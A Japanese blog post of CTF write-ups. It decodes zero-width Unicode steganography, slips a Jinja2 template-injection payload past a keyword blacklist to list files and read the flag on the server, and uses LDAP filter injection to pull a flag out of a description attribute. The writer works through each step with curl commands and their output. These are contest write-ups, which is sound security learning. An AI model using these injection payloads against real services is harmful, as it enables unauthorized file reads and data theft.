HackIT CTF 2018 - Get Going
問題文
Welcome
writeup
画面の表示上は普通の文字列だが、WelcomeのWとelcomeの間に、複数種類の空白文字が含まれている。
root@kali:~# curl https://ctf.hackit.ua/w31c0m3 -o welcome.txt -s root@kali:~# od -Ax -tx1z welcome.txt 000000 57 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f >W...............< 000010 e2 80 8b e2 80 8d e2 80 8b e2 80 8b e2 80 8b e2 >................< 000020 80 8b e2 80 8f e2 80 8c e2 80 8e e2 80 8b e2 80 >................< 000030 8b e2 80 8b e2 80 8b e2 80 8e e2 80 8f e2 80 8d >................< 000040 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 >................< 000050 80 8b e2 80 8e e2 80 8b e2 80 8b e2 80 8b e2 80 >................< 000060 8b e2 80 8f e2 80 8f e2 80 8e e2 80 8b e2 80 8b >................< 000070 e2 80 8b e2 80 8b e2 80 8f e2 80 8e e2 80 8f e2 >................< 000080 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8d e2 80 >................< 000090 8b e2 80 8c e2 80 8b e2 80 8b e2 80 8b e2 80 8b >................< 0000a0 e2 80 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 >................< 0000b0 80 8b e2 80 8b e2 80 8f e2 80 8b e2 80 8e e2 80 >................< 0000c0 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80 8d >................< 0000d0 e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 >................< 0000e0 80 8d e2 80 8b e2 80 8c e2 80 8b e2 80 8b e2 80 >................< 0000f0 8b e2 80 8b e2 80 8d e2 80 8b e2 80 8c e2 80 8b >................< 000100 e2 80 8b e2 80 8b e2 80 8b e2 80 8d e2 80 8c e2 >................< 000110 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 >................< 000120 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b >................< 000130 e2 80 8b e2 80 8f e2 80 8b e2 80 8f e2 80 8b e2 >................< 000140 80 8b e2 80 8b e2 80 8b e2 80 8d e2 80 8b e2 80 >................< 000150 8d e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8e >................< 000160 e2 80 8f e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 >................< 000170 80 8b e2 80 8f e2 80 8c e2 80 8d e2 80 8b e2 80 >................< 000180 8b e2 80 8b e2 80 8b e2 80 8d e2 80 8b e2 80 8c >................< 000190 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 >................< 0001a0 80 8d e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 >................< 0001b0 8b e2 80 8f e2 80 8f e2 80 8d e2 80 8b e2 80 8b >................< 0001c0 e2 80 8b e2 80 8b e2 80 8e e2 80 8f e2 80 8b e2 >................< 0001d0 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80 >................< 0001e0 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b >................< 0001f0 e2 80 8c e2 80 8f e2 80 8f e2 80 8b e2 80 8b e2 >................< 000200 80 8b e2 80 8b e2 80 8f e2 80 8e e2 80 8c e2 80 >................< 000210 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80 8b >................< 000220 e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 >................< 000230 80 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 >................< 000240 8b e2 80 8b e2 80 8f e2 80 8e e2 80 8d e2 80 8b >................< 000250 e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80 8d e2 >................< 000260 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 >................< 000270 8c e2 80 8f e2 80 8f e2 80 8b e2 80 8b e2 80 8b >................< 000280 e2 80 8b e2 80 8e e2 80 8f e2 80 8f e2 80 8b e2 >................< 000290 80 8b e2 80 8b e2 80 8b e2 80 8c e2 80 8f e2 80 >................< 0002a0 8e e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f >................< 0002b0 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 >................< 0002c0 80 8b e2 80 8d e2 80 8b e2 80 8c e2 80 8b e2 80 >................< 0002d0 8b e2 80 8b e2 80 8c e2 80 8b e2 80 8b e2 80 8b >................< 0002e0 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 20 48 61 >elcome to the Ha< 0002f0 63 6b 49 54 20 32 30 31 38 20 43 54 46 2c 20 66 >ckIT 2018 CTF, f< 000300 6c 61 67 20 69 73 20 73 6f 6d 65 77 68 65 72 65 >lag is somewhere< 000310 20 68 65 72 65 2e 20 c2 af 5f 28 e3 83 84 29 5f > here. .._(...)_< 000320 2f c2 af 0a >/...< 000324
Wとelcomeの間に含まれている空白文字は以下の5種類。
- e2808b=U+200B
- e2808c=U+200C
- e2808d=U+200D
- e2808e=U+200E
- e2808f=U+200F
以下のヒントが出ていた。
Get Going hint2: Zero Width Concept.
Zero Width Steganoのキーワードでgoogle検索すると以下がHIT。
Unicode Steganography with Zero-Width Characters
上記5つの空白文字が網羅されていないが、ライブラリの仕様を見ると、取り扱い対象とする空白文字を任意に設定可能なようだ。
http://330k.github.io/misc_tools/unicode_steganography.js
まず、こちらを全コピーして、Chromeの開発者ツールのコンソールに貼り付ける。その後、コンソールで以下のコマンドを実行し、U+200B~U+200Fをsteganoの対象文字とする。
>unicodeSteganographer.setUseChars('\u200b\u200c\u200d\u200e\u200f'); <null
デコードを実行する。
>unicodeSteganographer.decodeText("") ←見えないが、ここに空白文字列をセットしている。 <{originalText: "", hiddenText: "flag{w3_gr337_h4ck3rz_w1th_un1c0d3}"}
フラグゲット。
flag{w3_gr337_h4ck3rz_w1th_un1c0d3}
この問題、1ポイントだけど、1ポイントのレベルではないような・・・。
HackIT CTF 2018 - Believer Case
問題文
We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you? http://185.168.131.123
writeup
トップのHTMLソースは以下の通り。
root@kali:~# curl http://185.168.131.123 Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>
/test
にアクセスすると、test
という文字列が返ってきた。
root@kali:~# curl http://185.168.131.123/test test
/testhoge
にアクセスすると、testhoge
という文字列が返ってきた。
root@kali:~# curl http://185.168.131.123/testhoge testhoge
入力した文字列がレスポンスにそのまま反映されるようだ。
Template Engineを使用している可能性があるため、Template Injectionを試す。
root@kali:~# curl "http://185.168.131.123/\{\{7+7\}\}" 77 root@kali:~# curl "http://185.168.131.123/\{\{7*7\}\}" 49
ビンゴ。いけそうだ。
flask+jinja2と仮定し、グローバル変数を表示させてみる。
以下のflaskのコードのrv.globals.update
に格納されている変数が、テンプレート内で使用できるグローバル変数。
request
変数を確認するとエラー。
root@kali:~# curl "http://185.168.131.123/\{\{request\}\}" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
g
変数を確認すると成功。そしてflaskを使用している確証を得る。
root@kali:~# curl "http://185.168.131.123/\{\{g\}\}" <flask.g of 'app'>
何かフィルターされているのかもしれない。試してみる。
root@kali:~# curl "http://185.168.131.123/\{%25print(request)%25\}" () root@kali:~# curl "http://185.168.131.123/\{%25print('aaa' + request + 'zzz')%25\}" aaazzz
どうやら"request"という文字列が除去されているようだ。
他、いくつか試すと、少なくとも以下の文字列が除去の対象となっている。 ブラケットは痛い。
- [
- ]
- open
- config
- request
- attr
- class
ここで、先週開催のTokyoWesternsCTFのflask+Jinja2の問題の解法tweetを思い出した。
神社の想定解: url_for.__globals__['current_app'].config.FLAG
— icchy (@icchyr) 2018年9月3日
とりあえず先に問題だけ作ってからflask, werkzurgのソースコードとにらめっこして解いたという背景があります
試してみる。
root@kali:~# curl "http://185.168.131.123/\{\{url_for\}\}" <function url_for at 0x7fde0c3b7a28>r
ビンゴ!
タイムリーすぎて、
「あっ、これ進●ゼミでやったところだ!」という気持ちになる。
url_for
から辿って__globals__
にアクセスできたため、そこからosモジュールおよびビルトインモジュールにアクセスする。[]
が使用できないため、__getitem__
で代替する。
カレントディレクトリ内にフラグファイルを発見する。
root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('os').listdir('./')\}\}" ['app.py', 'flag_secret_file_910230912900891283']r
フラグファイルを表示する。
root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('__builtins__').__getitem__('open')('flag_secret_file_910230912900891283').read()\}\}" flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}
フラグゲット。
flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}
補足
何のワードが除去されていたか確認するため、app.py
も見てみた。
from flask import Flask, render_template, render_template_string app = Flask(__name__) def blacklist_replace(template): blacklist = ["[","]","config","self","from_pyfile","|","join","mro","class","request","pop","attr","args","+"] for b in blacklist: if b in template: template=template.replace(b,"") return template @app.route("/") def index_template(): return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>" @app.route("/<path:template>") def blacklist_template(template): if len(template) > 10000: return "This is too long" while blacklist_replace(template) != template: template = blacklist_replace(template) return render_template_string(template) if __name__ == '__main__': app.run(debug=False)
noxCTF 2018 - Dictionary of obscure sorrows
問題文
There are a lot of obscure sorrows in our world. Your job is not to find those that are plain in sight; You need to seek further, look deeper. Find the word that can not be written. The most obscure sorrow of them all. http://54.152.220.222/
writeup
HTMLソースを確認すると、/word.php?page=<文字列>
のリンクが多数ある。
word.phpの挙動を確認する。
root@kali:~# curl http://54.152.220.222/word.php Missing RDN inside ObjectClass(document) root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=" Query returned empty root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=Sonder" | grep h2 <h2>Sonder</h2> <h2>Even more obsure sorrows</h2>
pageパラメータを指定しなかった場合に返却されたMissing RDN inside ObjectClass(document)
のメッセージより、LDAP検索をしていると推測される。
LDAP Injectionを試す。
まずは*
を入れてみる。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*" -s | grep h2 <h2>Sonder</h2> <h2>Even more obsure sorrows</h2> root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=A*" -s | grep h2 <h2>Anemoia</h2> <h2>Even more obsure sorrows</h2>
検索に成功した。この攻撃方針で合っていそうだ。
pageパラメータにad*をセットするとメッセージが変わる。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=ad*" -s This is going to be a little bit harder than that
adminのレコードを取得するものと想定し、後方一致を試すがNG。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*min" -s Query returned empty
部分一致もNG。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*mi*" -s Query returned empty
ここからしばらく試行錯誤が続くが、description属性を発見する。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*)" -s | grep h2 <h2>Sonder</h2> <h2>Even more obsure sorrows</h2>
description属性にCTFが含まれるレコードを検索するとHITした。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*CTF*)" -s | grep CTF noxCTF{K1NG_0F_LD4P} </p>
フラグゲット。
noxCTF{K1NG_0F_LD4P}